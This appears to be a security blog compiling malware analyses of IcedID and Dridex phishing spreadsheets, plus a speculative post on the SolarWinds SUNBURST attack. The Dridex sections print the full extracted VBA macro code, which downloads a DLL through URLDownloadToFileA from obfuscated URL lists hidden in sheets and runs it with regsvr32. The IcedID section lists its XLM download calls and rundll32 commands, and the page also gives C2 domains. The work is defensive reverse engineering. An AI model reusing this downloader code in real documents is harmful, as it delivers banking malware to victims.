IcedID Analysis

IcedID aka (BokBot) is banking malware designed to steal financial information. Lunar Spider is the threat actor behind IcedID which they’ve been running campaigns since at least 2017. Beside stealing banking information, some incident show that IcedID is an entry stage to ransomware or RAT attack. It’s been observed lately that the threat actor has been using new techniques to evade detection by endpoint security, sandbox, and anti-reversing. Which makes it interesting to try dissecting samples to find out indicators and other artifacts that could be missed by security tools.

In this post, will take a look at IcedID sample that’s been posted on Will walkthrough each artifact to learn how to unpack the hidden malicious binaries. These techniques would also work on other IcedID samples that has been found lately.

behaviour overview

Threat actor send an email with attached ZIP archived including maldoc either MS Word or Excel spreadsheet. When opening the the maldoc it asks to enable macros. Once enabled two function happens first download a DLL file and run it in a process using ‘rundll32.exe’. The downloaded DLL has unknown extension. After running in process, the DLL file ‘Installer’ does mainly two things: download a GZIP compressed binary and install it. The GZIP might have zip extension, but it can’t be open or extracted with any archived tool. The GZIP mainly a dropper, it’s packed with two binaries. without further ado let’s get started with the below artifacts.

File NameDescriptionFile TypeSHA256
82025721897_03192021.xlsmMaldocExcel spreadsheetdcc45c82a484a420888aabe66588cbb1658cb2a7a5cc833b0438fa06ca84a991
Kiod.hodInstaller DLLDLLd1634c8dd16b4b1480065039fac62d6c1900692f0ccc9bf52c8ddc65599fbf3d
suit_32.tmpTemporary DLL DLLb8502cc6fd41a558012e7ccd0a7f4e0ed5746bf106b8bf5b6a27ef9cba18a9e3
Oxiwko.dllPersistent DLLDLL48b72914126b6b4a3e5aefa9bc8d5eac1187543eb0fa42c98a70a2f2ad07a60a
Table 1, List of IcedID artifacts to analyze


One of the most recognized templated of IcedID spreadsheet that hides beside it XLM 4.0 functions to download and run process once hit Enable Content as typical maldoc.

Figure 2, IcedID template

IcedID use “Auto_Open” function to execute the entire XLM (4.0) script. Moving between sheets and cells, it’s possible to debug the function step-by-step, but what’s worthy is to get IOCs which is in clear text.

Host-based and Network-based IOCs 
--------Shell Command --------------------
Rundll32 ..\Kiod.hod2,DllRegisterServer
--------Contacted IP Addresses -----------
---------Calls --------------------------
=CALL("URLMon", "URLDownloadToFileA", "JCCB", 0, "", "..\Kiod.hod")
=CALL("URLMon", "URLDownloadToFileA", "JCCB", 0, "", "..\Kiod.hod1")
=CALL("URLMon", "URLDownloadToFileA", "JCCB", 0, "", "..\Kiod.hod2")
Figure 3, Maldoc behavioral from sandbox

installer dll

‘Kiod.hod’ is the name of the first stage IcedID execution in this sample. It’s a 64-bit DLL with MZ header running in a ‘rundll32’ create process from the maldoc. when checking the sample on Hatching Triage sandbox, the network shows requests to ‘[.]com‘ and ‘calldivorce[.]fun‘. The installer download a GZIP file and install it. It’s not possible to view the network indicators when on statically analyzing this sample, nor when debugging it which is mostly sign of packed executable.

Figure 4, Installer behavioral on sandbox

There’s one library ‘kernel32.dll’ and no sign of imported APIs to help guide either statically or in debugger in order to unleash any indicators. Simply loading the sample on x64dbg doesn’t work! There’re multiple ways to unpack the installer DLL, however, the quick and possible way to unpack the binary by attaching the installer DLL to (~Windows\System32\rundll32) in x64dbg like steps below:

1. x64dbg -> File -> Open -> C:\Windows\System32\rundll32.exe
2. x64dbg -> File -> Change Command Line -> "C:\Windows\System32\rundll32.exe" "C:\Users\~\lab\Kiod.dll",DllRegisterServer 
* no spaces except the single space between " " and copy the full DLL directory
** DllRegisterServer is the export function
3. After hitting ok, go to Options -> Preferences -> Events tab -> check ✔ DLL Entry
4. Hit F9 (few seconds and pause)

Directly after pausing you can notice see the register ‘R14’ got PE sign and ready to Save Memory Region by dump it from Memory Map. The unpacked executable seems to be unmapped to memory and no changes required to addresses on the sections headers.

Unpacked Installer - unpacked file

SHA256: 7459E88626A90B52C3392A14734D00A5238EDBF13C61907F39326DF2D4C3F922
HOST IOC: C:\ProgramData\
Network IOC:
   [GZIP file]

submitted sample on (9 April 2021)
23/61 VT:
10/10 Triage:

other highlighted IOCs
Imports (APIs)
LookupAccountNameW ,advapi32.dll

It’s clear what APIs and libraries the original packed installer hiding which is detectable by any endpoint security as can see in Pestudio. Further disassembling with Cutter 2.0.0 the unpacked DLL to get indicators.


suit_32.tmp, is another 64-bit DLL. It dropped from GZIP with the ‘license.dat’ binary. Located in %temp% directory


The main purpose of this temporary DLL to initiate persistent with ‘license.dat’ and later copy itself to another directory for persistent.

Run method: rundll32.exe [filename],update /i:”LuxuryQuarter\license.dat”

This artifact is also well packed for evasion and anti-analysis purposes. like the ‘installer’ no libraries or API to get hint where to breakpoint. To unpack :

1. Load 'suit_32.tmp' in x64dbg
2. Either single or over stepping till reaching [RtlExitUserProcess] API function
3. Check the stack or RDI register for MZ header. 
4. Dump from Memory Map 

The unpacked requires addresses matching because it were mapped to memory.

Temporary DLL - unpacked file
SHA256: AD435DB375665D157AED16BA8B51735B65AC6AEE86864DA78408B44C9D85093B
HOST IOC: C:\ProgramData\
Network IOC: N/A

Summitted sample on (4 April 2021)
15/69 VT:
1/10 Triage:

Other highlighted IOCs
Imports (APIs)
VirtualProtect, Kernel32.dll
GetModuleFileNameA, Kernel32.dll

As compared with the packed version there’s a new C2 based on Triage sandbox analysis!

/update/ 10 Apr

it’s been brought up by community that the upper IPs are not C2s.

Persistent DLL

‘Oxiwko.dll’, suppose to be a copy from the previous temporary DLL. Big picture from Entropy view and Pestudio shows the resemblance. Which makes it easy to unpack this sample using same method above with the temporary DLL.

Persistent DLL - unpacked file
SHA256: c04101f36a7d1498379ff6abb2218a2730ad896908e525cd3664ea5cc4a56a18
HOST IOC: C:\ProgramData\
Network IOC: N/A

Summitted sample on VT and (9 April 2021)
21/69 VT:
1/10 Triage:

Other highlighted IOCs
Imports (APIs)
VirtualProtect, Kernel32.dll
GetModuleFileNameA, Kernel32.dll

There’s not any network indicator in either packed or unpacked which make sense, because the very purpose of this file is persistent in Task Scheduler to load ‘license.dat’.

Figure 9, Persistent [snap from malware-traffic-analysis]

IcedID (license.dat)

Leaving the beast for last! Even-though it’s been summited to VT by early March 1st, 2021. It’s still unrecognized by many vendors that ‘license.dat’ is the IcedID.

Huge credit to BinaryDefense team for their efforts building the decryption tool for this part of IcedID and giving it a way on Github.

The unknown ‘license.dat’ encrypted binary is running on Task Scheduler with the persistent DLL. As it turns out the unknown binary is also 64-bit DLL. Unlike the previous DLL, this is different kind of beast and this is what IcedID (BokBot) is all about. The decryption does a good job dissecting readable DLL from encrypted binary. However, due to very complication of this part is only possible to disassemble it in IDA, Cutter and other kind of disassemble tools. It’s not possible to debug it.

Never the less, it’s possible to reverse engineer the function with proper disassembler to unleash the behavior which by looking at it’s API list seems to be detectable by Endpoints. The main functions of ‘license.dat’ is collecting host and user information and connecting to C2.

Decrypted license.dat file
SHA256: 66b6a55b67c0201a02dbdc4a2ef3c3f2d57aaadbbefa61c1bcdb59b96fb86743

submitted on VT and Triage on (9 April 2021)
16/67 VT:
1/10 triage:

Further analysis will be taken to further analyze IcedID campaigns in general and ‘license.dat’ in particular to further understand its behavior.



To BinaryDefense, for providing the decryption tool

To Malware Traffic Analysis, for the artifacts, WireShark packets


SolarWinds Attack Plan A: The Imposter

The on-going investigation of SUNBURST/Solorigate supply-chain attack led by FireEye and Microsoft threat teams have reached to the second stage of the attack SUNSHUTTLE [3] [4]. More backdoors and C2 servers been discovered each time disclosing a stage of this wide and massive attack. Estimating the attacker distributed the SUNBURST during March 2020 [5] from Solarwinds update servers and managed persistent for a long time.

There’s not any report or indicator of the discovered C2 domains prior December 13, 2020 from all high-value targets and their DNS security in place.

C2 DomainNames: vsvmcloud[.]com, onetechcompany[.]com, reyweb[.]com, srfnetwork[.]org

In this post, shed the light over a fact that the threat actor is too smart and sophisticated to burn an entry over couple C2 domains which can be detected/blocked by a DNS security solution once threat actor decided to take it to the next level. The C2 might be used as plan B or just playing charades with the analyst and IR team. The reason for that is to hide the key player in this attack to keep the persistent going even after taking down the C2 domain during threat hunting.

In Orion documentation [6] there’re couple of pre-request requirements, but it doesn’t include Orion use for the Netbios port 137 as stated in the SolarWinds Success Center [7].Checking bidirectional connection on firewalls between local Orion server on port 137 and other outbound connection for certain period of time during the 2020 shows that thousands of connections with other thousands of other clients Orion servers in the region [the number depends on the region]. Some clients might not have this port disabled during configuration or by default. It’s unclear to what exact process and there’s no documentation for that or what’s been transferred from port 137! it could be shared updates due to the Orion packages size. But overall it’s an open port with other server in the region. Threat actor could have leveraged this attack vector by using Netbios to maintain persistent rather than using any C2 domains. In theory, there is high probability that the threat actor is having at least one server with Orion installed in each region which I like to call it The Imposter “just like the one in Among Us App”. This imposter server can maintain connection without drawing attention. In case any Orion server went off the pool there is a dedicated C2 domain to it. To backup this theory of Orion regional connection and threat actor presence among the Orion pool:

[A] There’s DGA server determination by east and west in EU and US region like the one discovered in FireEye [1] not just to classify C2 domains but also that’s how SolarWinds maintain connection

[B] Between March and December 2020, there’s no report of any of the discovered C2 domains and still there might be big data breach, however no incident or evidence show there’s data uploaded using any C2 yet!

[C] Explain how the second stage backdoor happen since there’re no ties discovered earlier related to the first stage

[D] Lateral movement incident from Orion local server and other non-agent in the local network and no sign of C2 server on the other side even with first stage backdoor present.

[E] SolarWinds were facing some challenges when it comes upgrade client server and on the latest release during the time of the attack in 2020. This webinar explain some of the feature including upgrade features [8]

This post is showing another vector of this massive attack and clearly there is more to investigate, but what it could do is to help narrow down the suspect list among legitimate Orion servers. In addition, this theory answers the question second stage of SUNSHUTTLE [3] and [4] where there’s no persistence.


[1] Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor, FireEye ,

[2] Analyzing Solorigate, the compromised DLL file that started a sophisticated cyberattack, and how Microsoft Defender helps protect customers, Microsoft MSTIC ,

[3] New SUNSHUTTLE Second-Stage Backdoor Uncovered Targeting U.S.-Based Entity; Possible Connection to UNC2452, FireEye,

[4] GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM’s layered persistence, Microsoft MSTIC,

[5] Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop, Microsoft MSTIC,

[6] SolarWinds Orion Platform requirements, Solarwinds,

[7] Disable Netbios UDP 137 traffic, SolarWinds Success Center,

[8] 2020.2 Releases: Orion Map Updates, New Security Product Features, and More – SolarWinds Lab #89, SolarWinds Youtube channel,

Dridex Malware Analysis [10 Feb 2021]

Dridex “also know as Bugat and Cridex” is a form of malware banking trojan and infostealer that operated by criminal group referred to as “Indrik Spider”. Dridex specializes in stealing banking credentials via systems that utilizes macros from Microsoft office products like Word and Excel. In previous recoded incident the threat actors have used Dridex to hit high value targets with ransomware [2].

This post is a report of the extracted code and URLs with other findings from the latest Dridex sample that been detected on 10 Feb 2021. This sample had been reported by a security researcher Moto_Sato. Threat actor have used similar techniques and procedure that has been discussed in the previous posts:

  1. Dridex-malware-analysis [1 Feb 2021]
  2. Dridex-malware-analysis [8 Feb 2021]

This post is a skim analysis and overview of the latest sample. for further steps and methods you can read the above post.

File NameSHA265File SizeDetected AVs
79.77 KB
ujewngbg.dll1468c3d62d7cde7ef475bebf87a3e696b456a1973f91f596d6f508b0c0f3cd38989.00 KB7/67
fixed.bin2cceb29cebee08b9cf8cc02c370dec6440633f4b2da1f44db68998be84f1cb421.05 MB32/70
[Table 1] Files General Properties from VT

Threat Overview of Dridex

Based on the latest sample analysis and reports, the threat actor is using macro VBA loader in clear text functions in order to bypass detection by AV [3]

[Figure 2] Overview of Dridex from HP Threat Research Report

malware analysis

  1. Excel File

The XLSM file has four hidden sheets with white colored characters; and macro VBA locked in EvilClippy.

Macro VBA functions
#If VBA7 And Win64 Then
    Private Declare PtrSafe Function next_for_and Lib "urlmon" _
      Alias "URLDownloadToFileA" ( _
        ByVal pCaller As LongPtr, _
        ByVal szURL As String, _
        ByVal szFileName As String, _
        ByVal dwReserved As LongPtr, _
        ByVal lpfnCB As LongPtr _
      ) As Long
    Private Declare Function next_for_and Lib "urlmon" _
      Alias "URLDownloadToFileA" ( _
        ByVal pCaller As Long, _
        ByVal szURL As String, _
        ByVal szFileName As String, _
        ByVal dwReserved As Long, _
        ByVal lpfnCB As Long _
      ) As Long
#End If

Function marball_a(ook As String, jo As Integer)
marball_a = Mid(ook, jo, onn)
End Function

Function bussy_order(asd As Variant) As String
Randomize: ii = 2 - onn: bussy_order = asd(Int((UBound(asd) + ii) * Rnd))
End Function
Sub fill_lines_u()
parcking_list = Split(RTrim(level_recharge), refreshPage(")"))
Sheets(onn).Cells(3, onn).Name = "ms_" & "excel"
mounthYYa = Split(parcking_list(1), refreshPage("+"))
For re = 0 To UBound(mounthYYa) - LBound(mounthYYa) + onn
On Error Resume Next
Sheets(onn).Cells(3, onn).value = "=" & mounthYYa(re)
fd = Len(po & ("" & (((((Run("" & "ms_" & "" & "excel"))))))))
If re = 12 Then refas = sheetsAGT:
If re = 14 Then
add2020 = sheetsAGT
next_for_and 0, Fuel_add(bussy_order(Split(parcking_list(0), refreshPage("H") & "h"))), refas & "\" & add2020, 0, 0
End If
End Sub
Function sheetsAGT()
sheetsAGT = Sheets(onn).Range("C2:C8").SpecialCells(xlCellTypeConstants)
End Function
Public Function Fuel_add(y As String)
Fuel_add = Right(y, Len(y) - onn)
End Function
Function level_recharge()
Dim pockets_two As String
Dim chat_1_r As String: Dim swift_pay As String
Dim u As Integer: pockets_two = Nill_first(5)
chat_1_r = Nill_first(4): swift_pay = Nill_first(3)
For u = onn To Len(pockets_two)
empty_u = empty_u & marball_a(pockets_two, u) & marball_a(chat_1_r, u) & marball_a(swift_pay, u)
level_recharge = RTrim(empty_u)
End Function
Function Nill_first(rt As Integer)
For Each Q In Sheets(rt).UsedRange.SpecialCells(xlCellTypeConstants): table_last = table_last & Q: Nill_first = table_last
End Function

Function po()
po = "Z"
End Function
Function onn()
onn = 1
End Function
Function refreshPage(u As String)
refreshPage = Replace(String(4, po), po, u)
End Function

Character values hidden in sheets by order. It forms list of 50+ URLs to load a malicious DLL from one of them. The full list of URLs in APPENDIX -A

Sheet 1 
Sheet 2
hp/oi.rocczbx6rHHhp/outnsuosnc/craHhts/-ier-al3itHHhp/mpc/we.rHrt:mcagn/tttHHhp/egd.mdf.rHqt:uadeds.rHst:detnmu./gs.rHmt:muecbzuzHHhp/dime.mr4drHHhp/rfmijx.rHit:hrsr./x91aHhts/prhdgov1r.rHot:ltfwht.mfvoiHhts/amic/fw.rHut:lrnrlce.tvg.pHyt:arsaratsccoc/wxzHHhp/ninwk0eoa.m74gaHhts/u4cc5szHHhp/wpe6c/5q.pHpt:krtnpeisogf8aHhts/crnvi.m0kytHHhp/d.mtq.rHft:aoaohdc/6maHhts/wdnaf.pHet:fcohl28.pHvt:iurll1p7rHHhp/ovnucc/optiHhts/poeoqemiHhts/a.me0.rH4t:doaeeoni1haHhts/fnri.m8v3zHHhp/unst.mrb0saHhts/ldecitvabkiopg7.rHlt:dari.m3x3zHHhp/medoitrouc0aHhts/p./fdiHhts/nnceic/nmaHhts/te./9m.pHdt:anagad.mw3tHHhp/22rostiea.m4j.rH8t:tfulen5a.pH3t:cmbommn.rHqt:mi.atesveoak3aHhts/iapeogijaHhts/wheumttni../q6.pH7t:dep.dc.milzHHhp/raiunmmsuosnc/bkraHhts/wlrnteyggtHHhp/ayvandagrHHhp/oxesuo./czoiHhts/rh.ciinc/ukrHHhp/uoctsf/keaHhts/rev./1wtHHhp/uoioi/xvaHhts/espc./syzHHhp/amsvsofvy.pHtt:cco.thli./wr.pH4t:pt.mn9.r)ENEclCR0)+ENEm,"+S.M"0")+FSMREC""EWKA() LEAE++TA(0""+CC.YR)+ENEh,l++NLETE+S.M""O++TA(hf"hh"E&&u&)+ENEwb""kl)+ENEb,FG.RPE3(N"an,TOSC2,-)La&0Tclm&0+S.L(,)+ENEa,FCRA(29&ARD*+)H(N)67CRA(29&ARD*+)H(N)67CRA(29&ARD*+)A(8).l++TAE2b+CLe&,"hf&"AACCm00ph","kgro"s&&,0+FELEAE
Sheet 3 
ts/uebnteoausvaHhts/nlesocnlkoi8.rHdt:x-apru./yoaHhts/kroni1rHHhp/eal.fhzoaHhts/taec/crtHHhp/e.ucqfrHHhp/airtitiqhwtHHhp/yosl/q7iHhts/egoic./c6aHhts/aierprtHHhp/ogtaixct.rHpt:ahmoi.mi63rHHhp/illeoec/xu.pH8t:oracohvhtHHhp/enge-amn/gczHHhp/mrdmyerhhesodx9iHhts/stge.0bspc/5n.rHgt:beuh851iHhts/wor0ozm2zHHhp/oecctrc.myy.rHxt:thanaoc/vweaHhts/6c/jttHHhp/urusmtos0.rHot:w.jo2hzHHhp/ayo./p5zHHhp/nse./s7vaHhts/tefeeop9w.pH9t:rgu.mzc.pHjt:zpc/dytHHhp/e.xn../13.rHst:lfsatc/s6viHhts/kflshbg54.rH7t:cerran-otaa.mzyprHHhp/inanc/30yiHhts/oagwco.mxf.rH0t:masrj.pH2t:cttonlomj.rH6t:chsbfcwzHHhp/gcdilyc/c4aHhts/7.ocmhnrrc/corHHhp/huri./iczHHhp/hl.mygbtHHhp/olqlycei.mxz.rH1t:ggru.m5k.rHzt:w.ecieaeavcnv50zHHhp/eleceic/ciiHhts/ornrciiocnlkof5c.rHtt:w.lea./5ryaHhts/vue./fxlaHhts/rtmotnrsya.pHbt:wkoaeoveoxp8aHhts/ywolsuom.rH6t:galesyr2aHhts/prtnnxp.rH5t:caceoas12iHhts/pgee.mlgxzHHhp/ohomenoeucjqzHHhp/htc/72r))TA(i"H(1++TA(A")+ENEh"\++(NB(AHd,TOSC1),O(L)+S.M""3)+AEK(U++TA(kcl+CC.YR)+ENEv,"+S.M"gw,"klxh"th++TA(e"S&&l++TA(bLTEWKA()FDRmgG.RPE311&olh&"i&ph)+EVUCb++TA(bLTH(N)67CRA(29&ARD*+)H(N)67CRA(29&ARD*+)H(N)67CRA(29,N)+&d"+S.L(,)+A(go"&gw",&&C"A,&"kn"&&s"0  ba0)+I.O(L)
Sheet 4

After picking a random URL from the list, the final call is locate a the path to load from “%TEMP%” and the process “regsvr32.exe”. Even after closing the excel file the process keeps running.

2. DLL File

Threat actor seems to be using different tool or technique each time to pack the same DLL file that been seen in the previous analyzed samples [9][10] . However, the overall procedure to reverse engineer this part is the same. Self-Injection technique is the way this DLL performing.

Even though, there’s not detection of the method used to pack the malicious file in any of the tools like DetectItEasy (DiE), but it’s clear enough something is hidden.

Self-Injection is the method the threat actor been using so far and it’s simple for the analyst to extract the packed file. Using x32dbg and BreakPoint on <VirtualAlloc> and <VirtualProtect> is the way to go.

When loading the hidden stub, there seems to be a clear text of PowerShell use. This way is just to confuse the reverse engineering process. There seems no use of PowerShell at this point or when dynamically running the malicious file. The stub code is loaded at <009F0000> in this example!

After that, the “packed” or in better term the “overwritten” executable is been run in memory in the same original location when it first loaded in x32dbg and it’s possible to save the dump from memory. Since it’s from memory, it requires fixing the Raw Addresses using Pe-bear or CFF Explorer.

The fixed-dumped binary has been submitted to VT and anyRun. It’s seems to be the same exact DLL that been dumped in the previous analysis! with little overhead of misleading codes.

appendix -a

DO NOT run any of below URLs



[1] Indrik Spider,

[2] Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted Ransomware,

[3] Dridex Malicious Document Analysis: Automating the Extraction of Payload URLs,

[4] Excel file from AnyRun ,

[5] Excel File in VT,

[6] DLL file in VT,

[7] Unpacked file submitted to VT,

[8] Unpacked file submitted to AnyRun,

[9] Dridex-malware-analysis [1 Feb 2021]

[10] Dridex-malware-analysis [8 Feb 2021]

Dridex Malware Analysis [8 Feb 2021]

Dridex “also know as Bugat and Cridex” is a form of malware banking trojan and infostealer that operated by criminal group referred to as “Indrik Spider”. Dridex specializes in stealing banking credentials via systems that utilizes macros from Microsoft office products like Word and Excel. In previous recoded incident the threat actors have used Dridex to hit high value targets with ransomware [2].

A new Dridex sample has been found today Feb 8, 2021. What’s been know about threat actor is their use of similar techniques and procedure in their campaigns and this sample is no exception. There is slight update that been found when analyzing this sample, but the whole procedure and technique is the same. I’ve been referred to this sample by a security researcher Moto_Sato [3] and the sample been collected from AnyRun[4]. In this analysis will take a glimpse of the threat actor new update, artifacts, and indicators. For full analysis of the similar Dridex sample check the previous post on this blog. The previous sample been discovered on Feb 1, 2021. In this post will use dynamic analysis to download the sample and statically debugging the samples to check out the results.

[Figure 1] Excel file in VT
[Figure 2] DLL file in VT
File NameSHA265File Size
73.25 KB
gwftgmyy.dlle559d8d2e789cac8391fc3286b0c80efe0fc9a3bfaac15b124e7520ed0f0a02e471.00 KB
[Table 1] Basic Properties of the malicious sample, Ref: and VT

malware analysis

  1. Excel File

Threat actor send a phishing email to a victim in with attached Microsoft Excel file “INV4362145800.xlsm” with locked macro. It requires enabling macro in order for malicious file to be downloaded. The cells in the background are not empty they contains characters. There are also three hidden sheets that contains the rest of the characters that forms 50 set of URLs that contains the payload.

Using EvilClippy to unload the locked macro and been able to extract the VBA code. The same tool has been used by the threat actor to avoid detection. When observing the code below and comparing with the previous one, there’s little update been done but the overall is still the same.

#If VBA7 And Win64 Then
    Private Declare PtrSafe Function xsmart_card Lib "urlmon" _
      Alias "URLDownloadToFileA" ( _
        ByVal pCaller As LongPtr, _
        ByVal szURL As String, _
        ByVal szFileName As String, _
        ByVal dwReserved As LongPtr, _
        ByVal lpfnCB As LongPtr _
      ) As Long
    Private Declare Function xsmart_card Lib "urlmon" _
      Alias "URLDownloadToFileA" ( _
        ByVal pCaller As Long, _
        ByVal szURL As String, _
        ByVal szFileName As String, _
        ByVal dwReserved As Long, _
        ByVal lpfnCB As Long _
      ) As Long
#End If

Function commercial_e(ll As String, lo As Integer)
commercial_e = Mid(ll, lo, 1)
End Function

Function prv_and_next(vvf As Variant) As String
Randomize: rr = 2 - 1: prv_and_next = vvf(Int((UBound(vvf) + rr) * Rnd))
End Function
Sub hello_messages()
figiner = Split(RTrim(dear_clients), v_time_year(")"))
Sheets(1).Cells(3, 1).Name = "travel_" & "T"
etnas = Split(figiner(1), v_time_year("+"))
For A = 0 To UBound(etnas) - LBound(etnas) + 1
On Error Resume Next
Sheets(1).Cells(3, 1).value = "=" & etnas(A)
Debug.Print ((((Run("" & "travel_" & "" & "T")))))
If A = 12 Then A_min_1 = court_and_four:
If A = 14 Then
Msira = court_and_four
xsmart_card 0, copy_data_a(prv_and_next(Split(figiner(0), v_time_year("S") & "s"))), A_min_1 & "\" & Msira, 0, 0
End If
End Sub
Function court_and_four()
court_and_four = Sheets(1).Range("C1:C5").SpecialCells(xlCellTypeConstants)
End Function
Public Function copy_data_a(jk As String)
copy_data_a = Right(jk, Len(jk) - 1)
End Function
Function dear_clients()
Dim hmouses As String
Dim fig_1_1 As String: Dim value_cargos As String
Dim u As Integer: hmouses = help_resource(4)
fig_1_1 = help_resource(3): value_cargos = help_resource(2)
For u = 1 To Len(hmouses)
microtech = microtech & commercial_e(hmouses, u) & commercial_e(fig_1_1, u) & commercial_e(value_cargos, u)
dear_clients = RTrim(microtech)
End Function
Function help_resource(d As Integer)
For Each ds In Sheets(d).UsedRange.SpecialCells(xlCellTypeConstants): world_docs = world_docs & ds: help_resource = world_docs
End Function
Function v_time_year(df As String)
v_time_year = Replace(String(4, "Z"), "Z", df)
End Function

After little cleaning, the characters in sheets are as below

Sheet 1,"+S.M"0")+FSMREC""EWKA() LEAE++TA(0""+CC.YR)+ENEh,l++NLETE+S.M""O++TA(hf"hh"E&&u&)+ENEwb""kl)+ENEb,FG.RPE3(N"an,TOSC2,-)La&0Tclm&0+S.L(,)+ENEa,FCRA(29&ARD*+)H(N)67CRA(29&ARD*+)H(N)67CRA(29&ARD*+)A(8).l++TAE2b+CLe&,"hf&"AACCm00ph","kgro"s&&,0+FELEAE
Sheet 2
hp/cc./vzrSShp/rawsefg1.pSet:ecn5ni.mho4rSShp/ls7o./5z.pSot:a.xocrrciSsts/itsrjc/gfiSsts/orql../uaxiSsts/e.tcdotSShp/ranvisuo.bd39zSShp/eb.mvluaSsts/po.uii../z36aSsts/brec/k7.rSrt:asmis.gaptaSsts/voetanncibn./e7rSShp/.eisuic/ps.pS3t:btl../iuzSShp/c...roua.mhwzSShp/"H(1++TA(A")+ENEh"\++(NB(AHd,TOSC1),O(L)+S.M""3)+AEK(U++TA(kcl+CC.YR)+ENEv,"+S.M"gw,"klxh"th++TA(e"S&&l++TA(bLTEWKA()FDRmgG.RPE311&olh&"i&ph)+EVUCb++TA(bLTH(N)67CRA(29&ARD*+)H(N)67CRA(29&ARD*+)H(N)67CRA(29,N)+&d"+S.L(,)+A(go"&gw",&&C"A,&"kn"&&s"0  ba0)+I.O(L)
Sheet 3

When debugging the VBA code in Microsoft Visual Studio the first thing to look for is the set of URL list. There are 50 URL been found in this sample the full URL set in Appendix -A below. The code choses a random URL from this list to download the malicious DLL. The code also forms a random name for the DLL and run it in Regsvr32.exe.

When doing dynamic analysis the second stage DLL is downloaded from the malicious URL to %TEMP% folder and loaded in Regsvr32.exe process. The next step would be analyzing the DLL file and see if it’s similar to the previous samples

2. DLL File

It seems that all DLL files downloaded from the URLs are similar and the only difference is the DLL name. The first look at this DLL file “gwftgmyy.dll” it seems to be a bit optimized than the pervious sample [6]. The sample seems to be compiled in 2014!

When looking at the IDA bar to observe the amount of code in comparison with the size [471.00KB] and looking at the gray area, it seem packed

The threat actor been using same technique of Self-Injection just like before. Quick debugging using x32dbg to unleash the packed file with setting breakpoint on <VirtualAlloc> and <VirtualProtect>. As per this method, the PE file requires to allocate a memory space first using VirtualAlloc.

The second step would be hitting VirtualProtect in order to unleash the stub and perform the self-injection technique

To dump the unpacked version, using ProcessHacker and locate the same address of EDX register.

The unpacked binary requires fixing Section Headers in Pe-bear in order to get the imports library by matching Raw addresses with Virtual ones.

Finally, the unpacked file seems to be the same one discovered in the previous analysis with similar stamps.

File NameSHA265File Size
715c0000_Fixed.bin20bf0a8d139b5e517799339c3db2169ead923e65259ac10eb4ba026b2a4d2246516.00 KB
[Table 2] Basic Properties of Unpacked file submitted to VT [7]


DO NOT click at any of the URLs



[1] Indrik Spider,

[2] Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted Ransomware,

[3] Security Researcher,

[4] Excel Sample,

[5] EvilClippy Github repository,

[6] Dridex DLL VT,

[7] unpacked DLL,

Dridex Malware Analysis [1 Feb 2021]

Dridex “also know as Bugat and Cridex” is a form of malware banking trojan and infostealer that operated by criminal group referred to as “Indrik Spider”. Dridex specializes in stealing banking credentials via systems that utilizes macros from Microsoft office products like Word and Excel. In previous recoded incident the threat actors have used Dridex to hit high value targets with ransomware [2].

In this post, presenting reverse engineering malware of the recent Dridex sample that has been found in the wild earlier this February. The analysis highlights the techniques and codes used by the threat actor; and the method used to analyze this sample and extract hidden IOC and files that has not been detected by sandbox. Note that multiple labs got different artifacts and indicators so this work is almost a contribution to others security labs and researchers. This malware has two stages, the first one is an Excel file that has embedded VBA macro which infect the system with a DLL file that runs as a process in the second stage.

File NameSHA265File Size
printouts_of_outstanding_as_of FEB_01_2021.xlsmb721618810b06ed4089d1469fc5c5b37be1a907fc1ae14222f913c6e2b0001c2115.81 KB
libeay32.dll26a659ec56c7bd7b83a2f968626c1524bda829e0fefff37ecf4c4fb55ad158e3570.00 KB
[Table 1] Samples Basic Properties, Ref: Any.Run [3] [4]

Malware analysis

  1. Excel File with Locked Macro

As what appear to look like an invoice delivered via email at the first day of the month is a malicious spreadsheet. The XLSM extension is indication that M stands for Macro and the code only runs when macro feature is activated and clicking on the sheet! What looks like cell with number are just images linked to the macro.

There’re three hidden sheets and locked macro! Apparently locked doesn’t mean password protected, it means locked! And can’t be extracted and reused in new excel for this case in particular.

[Figure 2]

To debug this sample require two steps:

First: extract the sample and locate the malicious file that has the macro using Identifying the macro is located at the fifth stream which is a VBA code.

[Figure 3] Oledump On Linux machine

Below is the extracted code

#If VBA7 And Win64 Then
    Private Declare PtrSafe Function yellow_pages Lib "urlmon" _
      Alias "URLDownloadToFileA" ( _
        ByVal pCaller As LongPtr, _
        ByVal szURL As String, _
        ByVal szFileName As String, _
        ByVal dwReserved As LongPtr, _
        ByVal lpfnCB As LongPtr _
      ) As Long
    Private Declare Function yellow_pages Lib "urlmon" _
      Alias "URLDownloadToFileA" ( _
        ByVal pCaller As Long, _
        ByVal szURL As String, _
        ByVal szFileName As String, _
        ByVal dwReserved As Long, _
        ByVal lpfnCB As Long _
      ) As Long
#End If
Function last_counter_a(nimo As Variant) As String
Randomize: df = 2 - 1: last_counter_a = nimo(Int((UBound(nimo) + df) * Rnd))
End Function
Sub Prv_invoice()
RoLo = Split(RTrim(first_prepayment), progress_bars(")"))
Sheets(1).Cells(3, 1).Name = "ForA_" & "s"
storages = Split(RoLo(1), progress_bars("+"))
For A = 0 To UBound(storages) - LBound(storages) + 1
On Error Resume Next
Sheets(1).Cells(3, 1).Value = "=" & storages(A)
Run ("ForA_" & "s")
If A = 12 Then A_min_1 = re_order:
If A = 14 Then
vega = re_order
yellow_pages 0, date_to_date(last_counter_a(Split(RoLo(0), progress_bars("D")))), A_min_1 & "\" & vega, 0, 0
End If
End Sub
Function re_order()
re_order = Sheets(1).Range("B1:B5").SpecialCells(xlCellTypeConstants)
End Function
Public Function date_to_date(rr As String)
date_to_date = Right(rr, Len(rr) - 1)
End Function
Function first_prepayment()
Dim cooperation As String
Dim rest_che As String: Dim value_cargos As String
Dim u As Integer: cooperation = accouintis(4)
rest_che = accouintis(3): value_cargos = accouintis(2)
For u = 1 To Len(cooperation)
rezzzult = rezzzult & book_rebook(cooperation, u) & book_rebook(rest_che, u) & book_rebook(value_cargos, u)
first_prepayment = RTrim(rezzzult)
End Function
Function accouintis(d As Integer)
For Each ds In Sheets(d).UsedRange.SpecialCells(xlCellTypeConstants): forTwo = forTwo & ds: accouintis = forTwo
End Function
Function progress_bars(df As String)
